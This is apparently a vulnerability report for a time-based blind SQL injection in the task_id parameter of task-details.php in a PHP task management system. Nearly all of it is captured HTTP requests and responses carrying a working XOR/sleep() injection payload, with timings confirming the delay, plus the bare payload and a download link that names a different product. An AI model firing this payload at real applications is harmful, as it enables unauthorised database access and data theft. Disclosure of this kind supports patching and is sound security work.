

SQL injection vulnerability exists in task\_id parameter of task-details.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

**Request**

```
1 GET /taskmatic/task-details.php?task_id=0'XOR(if(now())=sysdate())%2Csleep(5)%2C0))XOR'Z HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/taskmatic/
4 Cookie: PHPSESSID=usc4bb051bb8fb727f1d6k104
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:44:22 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 7568
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16 <title>
17 Task Management System by Mayuri K.
18 </title>
19 <meta charset="utf-8">
20 <meta name="viewport" content="width=device-width, initial-scale=1">
21 <link rel="icon" href="assets/img/favicon.png">
22 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
23 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
24 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
26 <link rel="stylesheet" href="assets/css/custom.css">
27 <script src="assets/js/jquery.min.js">
28 </script>
29 <script src="assets/js/bootstrap.min.js">
30 </script>
```

**Inspector**

Selected text: sleep(5)

Decoded from: URL encoding

Request Attributes: 2

Request Query Parameters: 1

Request Body Parameters: 0

Request Cookies: 1

Request Headers: 8

Response Headers: 10

7,892 bytes 5,010 millis

Sleep time is 15s:

**Request**

```
1 GET /taskmatic/task-details.php?task_id=0'XOR(if(now())=sysdate())%2Csleep(15)%2C0))XOR'Z HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/taskmatic/
4 Cookie: PHPSESSID=usc4bb051bb8fb727f1d6k104
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:44:53 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 7568
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16 <title>
17 Task Management System by Mayuri K.
18 </title>
19 <meta charset="utf-8">
20 <meta name="viewport" content="width=device-width, initial-scale=1">
21 <link rel="icon" href="assets/img/favicon.png">
22 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
23 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
24 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
26 <link rel="stylesheet" href="assets/css/custom.css">
27 <script src="assets/js/jquery.min.js">
28 </script>
29 <script src="assets/js/bootstrap.min.js">
30 </script>
```

**Inspector**

Selected text: sleep(15)

Decoded from: URL encoding

Request Attributes: 2

Request Query Parameters: 1

Request Body Parameters: 0

Request Cookies: 1

Request Headers: 8

Response Headers: 10

7,892 bytes 15,015 millis

Payload: task\_id=0'XOR(if(now())=sysdate())%2Csleep(15)%2C0))XOR'Z

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>